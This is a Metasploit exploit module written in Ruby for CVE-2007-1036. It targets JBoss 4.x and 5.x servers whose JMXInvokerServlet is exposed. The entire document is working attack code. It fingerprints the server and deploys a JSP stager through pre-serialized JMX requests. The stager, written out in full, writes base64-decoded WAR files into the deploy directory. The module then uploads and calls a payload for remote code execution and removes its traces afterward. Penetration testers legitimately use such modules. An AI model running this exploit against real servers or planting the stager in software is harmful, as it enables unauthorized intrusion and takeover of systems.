JBoss DeploymentFileRepository WAR Deployment (via JMXInvokerServlet)



require 'msf/core'



class Metasploit4 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    HttpFingerprint = { :pattern => [ /JBoss/ ] }

    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::EXE

    def initialize(info = {})
        super(update_info(info,
            'Name'        => 'JBoss DeploymentFileRepository WAR Deployment (via JMXInvokerServlet)',
            'Description' => %q{
                    This module can be used to execute a payload on JBoss servers that have an
                exposed HTTPAdaptor's JMX Invoker exposed on the "JMXInvokerServlet". By invoking
                the methods provided by jboss.admin:DeploymentFileRepository a stager is deployed
                to finally upload the selected payload to the target. The DeploymentFileRepository
                methods are only available on Jboss 4.x and 5.x.
            },
            'Author'      => [
                'Patrick Hof', # Vulnerability discovery, analysis and PoC
                'Jens Liebchen', # Vulnerability discovery, analysis and PoC
                'h0ng10' # Metasploit module
            ],
            'License'     => MSF_LICENSE,
            'References'  =>
                [
                    [ 'CVE', '2007-1036' ],
                    [ 'OSVDB', '33744' ],
                    [ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ],
                ],
            'DisclosureDate' => 'Feb 20 2007',
            'Privileged'  => true,
            'Platform'    => ['java', 'win', 'linux' ],
            'Stance'      => Msf::Exploit::Stance::Aggressive,
            'Targets'     =>
                [

                    # do target detection but java meter by default
                    [ 'Automatic',
                        {
                            'Arch' => ARCH_JAVA,
                            'Platform' => 'java'
                        }
                    ],

                    [ 'Java Universal',
                        {
                            'Arch' => ARCH_JAVA,
                        },
                    ],

                    #
                    # Platform specific targets
                    #
                    [ 'Windows Universal',
                        {
                            'Arch' => ARCH_X86,
                            'Platform' => 'win'
                        },
                    ],

                    [ 'Linux x86',
                        {
                            'Arch' => ARCH_X86,
                            'Platform' => 'linux'
                        },
                    ],
                ],

            'DefaultTarget'  => 0))

            register_options(
                [
                    Opt::RPORT(8080),
                    OptString.new('JSP',       [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
                    OptString.new('APPBASE',   [ false, 'Application base name, (default: random)', nil ]),
                    OptString.new('TARGETURI', [ true,  'The URI path of the invoker servlet', '/invoker/JMXInvokerServlet' ]),
                ], self.class)

    end

    def check
        res = send_serialized_request('version.bin')
        if (res.nil?) or (res.code != 200)
            print_error("Unable to request version, returned http code is: #{res.code.to_s}")
            return Exploit::CheckCode::Unknown
        end

        # Check if the version is supported by this exploit
        return Exploit::CheckCode::Vulnerable if res.body =~ /CVSTag=Branch_4_/
        return Exploit::CheckCode::Vulnerable if res.body =~ /SVNTag=JBoss_4_/
        return Exploit::CheckCode::Vulnerable if res.body =~ /SVNTag=JBoss_5_/

        if res.body =~ /ServletException/    # Simple check, if we caused an exception.
            print_status("Target seems vulnerable, but the used JBoss version is not supported by this exploit")
            return Exploit::CheckCode::Appears
        end

        return Exploit::CheckCode::Safe
    end

    def exploit
        mytarget = target

        if (target.name =~ /Automatic/)
            mytarget = auto_target
            fail_with("Unable to automatically select a target") if not mytarget
            print_status("Automatically selected target: \"#{mytarget.name}\"")
        else
            print_status("Using manually select target: \"#{mytarget.name}\"")
        end


        # We use a already serialized stager to deploy the final payload
        regex_stager_app_base = rand_text_alpha(14)
        regex_stager_jsp_name = rand_text_alpha(14)
        name_parameter = rand_text_alpha(8)
        content_parameter = rand_text_alpha(8)
        stager_uri = "/#{regex_stager_app_base}/#{regex_stager_jsp_name}.jsp"
        stager_code = "A" * 810        # 810 is the size of the stager in the serialized request

        replace_values = {
            'regex_app_base' => regex_stager_app_base,
            'regex_jsp_name' => regex_stager_jsp_name,
            stager_code => generate_stager(name_parameter, content_parameter)
        }

        print_status("Deploying stager")
        send_serialized_request('installstager.bin', replace_values)
        print_status("Calling stager: #{stager_uri}")
        call_uri_mtimes(stager_uri, 5, 'GET')

        # Generate the WAR with the payload which will be uploaded through the stager
        app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8))
        jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8))

        war_data = payload.encoded_war({
            :app_name => app_base,
            :jsp_name => jsp_name,
            :arch => mytarget.arch,
            :platform => mytarget.platform
        }).to_s

        b64_war = Rex::Text.encode_base64(war_data)
        print_status("Uploading payload through stager")
        res = send_request_cgi({
            'uri'     => stager_uri,
            'method'  => "POST",
            'vars_post' =>
            {
                name_parameter => app_base,
                content_parameter => b64_war
            }
        }, 20)

        payload_uri = "/#{app_base}/#{jsp_name}.jsp"
        print_status("Calling payload: " + payload_uri)
        res = call_uri_mtimes(payload_uri,5, 'GET')

        # Remove the payload through  stager
        print_status("Removing payload through stager")
        delete_payload_uri = stager_uri + "?#{name_parameter}=#{app_base}"
        res = send_request_cgi(
            {'uri'     => delete_payload_uri,
        })

        # Remove the stager
        print_status("Removing stager")
        send_serialized_request('removestagerfile.bin', replace_values)
        send_serialized_request('removestagerdirectory.bin', replace_values)

        handler
    end

    def generate_stager(name_param, content_param)
        war_file = rand_text_alpha(4+rand(4))
        file_content = rand_text_alpha(4+rand(4))
        jboss_home = rand_text_alpha(4+rand(4))
        decoded_content = rand_text_alpha(4+rand(4))
        path = rand_text_alpha(4+rand(4))
        fos = rand_text_alpha(4+rand(4))
        name = rand_text_alpha(4+rand(4))
        file = rand_text_alpha(4+rand(4))

        stager_script = <<-EOT
<%@page import="java.io.*,
        java.util.*,
        sun.misc.BASE64Decoder"
%>
<%
String #{file_content} = "";
String #{war_file} = "";
String #{jboss_home} = System.getProperty("jboss.server.home.dir");
if (request.getParameter("#{content_param}") != null){
try {
#{file_content} = request.getParameter("#{content_param}");
#{war_file} = request.getParameter("#{name_param}");
byte[] #{decoded_content} = new BASE64Decoder().decodeBuffer(#{file_content});
String #{path} = #{jboss_home} + "/deploy/" + #{war_file} + ".war";
FileOutputStream #{fos} = new FileOutputStream(#{path});
#{fos}.write(#{decoded_content});
#{fos}.close();
}
catch(Exception e) {}
}
else {
try{
String #{name} = request.getParameter("#{name_param}");
String #{file} = #{jboss_home} + "/deploy/" + #{name} + ".war";
new File(#{file}).delete();
}
catch(Exception e) {}
}

%>
EOT

    # The script must be exactly 810 characters long, otherwise we might have serialization issues
    # Therefore we fill the rest wit spaces
    spaces  = " " * (810 - stager_script.length)
    stager_script << spaces
    end


    def send_serialized_request(file_name , replace_params = {})
        path = File.join( Msf::Config.install_root, "data", "exploits", "jboss_jmxinvoker", "DeploymentFileRepository", file_name)
        data = File.open( path, "rb" ) { |fd| data = fd.read(fd.stat.size) }

        replace_params.each { |key, value| data.gsub!(key, value) }

        res = send_request_cgi({
            'uri'     => target_uri.path,
            'method'  => 'POST',
            'data'    => data,
            'headers' =>
                {
                    'ContentType:' => 'application/x-java-serialized-object; class=org.jboss.invocation.MarshalledInvocation',
                    'Accept' =>  'text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2'
                }
        }, 25)


        if (not res) or (res.code != 200)
            print_error("Failed: Error requesting preserialized request #{file_name}")
            return nil
        end

        res
    end


    def call_uri_mtimes(uri, num_attempts = 5, verb = nil, data = nil)
        # JBoss might need some time for the deployment. Try 5 times at most and
        # wait 5 seconds inbetween tries
        num_attempts.times do |attempt|
            if (verb == "POST")
                res = send_request_cgi(
                    {
                        'uri'    => uri,
                        'method' => verb,
                        'data'   => data
                    }, 5)
            else
                uri += "?#{data}" unless data.nil?
                res = send_request_cgi(
                    {
                        'uri'    => uri,
                        'method' => verb
                    }, 30)
            end

            msg = nil
            if (!res)
                msg = "Execution failed on #{uri} [No Response]"
            elsif (res.code < 200 or res.code >= 300)
                msg = "http request failed to #{uri} [#{res.code}]"
            elsif (res.code == 200)
                print_status("Successfully called '#{uri}'") if datastore['VERBOSE']
                return res
            end

            if (attempt < num_attempts - 1)
                msg << ", retrying in 5 seconds..."
                print_status(msg) if datastore['VERBOSE']
                select(nil, nil, nil, 5)
            else
                print_error(msg)
                return res
            end
        end
    end


    def auto_target
        print_status("Attempting to automatically select a target")

        plat = detect_platform()
        arch = detect_architecture()

        return nil if (not arch or not plat)

        # see if we have a match
        targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) }

        # no matching target found
        return nil
    end


    # Try to autodetect the target platform
    def detect_platform
        print_status("Attempting to automatically detect the platform")
        res = send_serialized_request("osname.bin")

        if (res.body =~ /(Linux|FreeBSD|Windows)/i)
            os = $1
            if (os =~ /Linux/i)
                return 'linux'
            elsif (os =~ /FreeBSD/i)
                return 'linux'
            elsif (os =~ /Windows/i)
                return 'win'
            end
        end
        nil
    end


    # Try to autodetect the architecture
    def detect_architecture()
        print_status("Attempting to automatically detect the architecture")
        res = send_serialized_request("osarch.bin")
        if (res.body =~ /(i386|x86)/i)
            arch = $1
            if (arch =~ /i386|x86/i)
                return ARCH_X86
                # TODO, more
            end
        end
        nil
    end
end